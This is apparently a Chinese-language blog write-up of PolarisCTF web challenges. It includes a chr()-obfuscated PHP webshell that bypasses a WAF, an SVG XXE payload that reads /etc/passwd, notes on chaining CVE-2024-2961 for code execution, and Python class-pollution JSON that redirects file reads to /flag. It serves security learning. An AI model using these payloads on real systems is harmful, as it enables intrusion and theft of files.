PolarisCTF

本文最后更新于 2026年5月1日 晚上

当时做的时候大部分题都是用ai做的,没学到什么东西,但是题目质量还是很高的,看到平台上有复现环境了,决定不用agent自己做一遍

only real

非预期

直接看/flag.php就行

revenge

jwt爆破密钥伪造admin之后就可以上传图片,后端对文件类型没有校验,直接抓包修改文件后缀名,文件内容有WAF,我们使用ascii🐎

1
2
3
4
5
6
7
8
<?=
$func=chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
$cmd='';
$cmd_chars=[99, 97, 116, 32, 47, 102, 108, 97, 103];
foreach($cmd_chars as $ascii){
$cmd.=chr($ascii);
}
@$func($cmd);

头像上传器

一个上传头像的页面,白名单的后缀校验,并且文件重命名,不好绕过

头像的位置有渲染但不是文件包含,支持的格式有svg,尝试一下svg xxe

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>

但是要实现RCE执行/readflag,这里需要打CVE-2024-2961

事实上,CVE-2024-2961 的 sink 点不在于文件包含,而在于 php 伪协议。基本原理是利用 php 伪协议调用 iconv 函数,通过字符集 ISO-2022-CN-EXT 的特性将三字节字符解码为四字节,从而造成缓冲区的溢出。

如果能够配合可读取的文件,就能获取到 PHP 堆地址和 libc,然后得到 system 函数的地址打 rce

这里还是老方法,读map,libc然后用脚本生成链子,但是svg上传之后解析会报错

php://filter 是作为外部实体的 SYSTEM 标识符传入 DOMDocument::load(),因此它首先要经过 libxml 的 URI 解析,而不是直接进入 PHP 用户态流处理。| 在这种 URI 语境下不属于稳定、规范的路径分隔字符,容易在外部实体解析阶段被拒绝、归一化或导致后续路径解释异常,从而使整条 filter chain 无法原样传递给底层 stream wrapper。因此需要改用 /,让 payload 同时满足 URI 语法和 php://filter 的路径式解析规则。

好吧,我们改一下格式,并且不url编码

1
/readflag > /var/www/html/uploads/1.txt

这个题最终未解决的点就是用kezibei师傅的脚本最终只能在uploads目录下写文件,并且没法直接访问,必须curl才能出结果

但是网上改的cnext脚本是可以实现任意写文件的

ez_python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from flask import Flask, request
import json

app = Flask(__name__)

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class Config:
def __init__(self):
self.filename = "app.py"

class Polaris:
def __init__(self):
self.config = Config()

instance = Polaris()

@app.route('/', methods=['GET', 'POST'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "Welcome to Polaris CTF"

@app.route('/read')
def read():
return open(instance.config.filename).read()

@app.route('/src')
def src():
return open(__file__).read()

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)

非常简单的一个python原型链污染,可以污染filename也可以污染全局变量

1
{"config":{"filename":"/flag"}}
1
{"__init__":{"__globals__":{"__file__":"/flag"}}}

PolarisCTF
https://www.sunynov.top/2026/04/28/PolarisCTF/
作者
suny
发布于
2026年4月28日
许可协议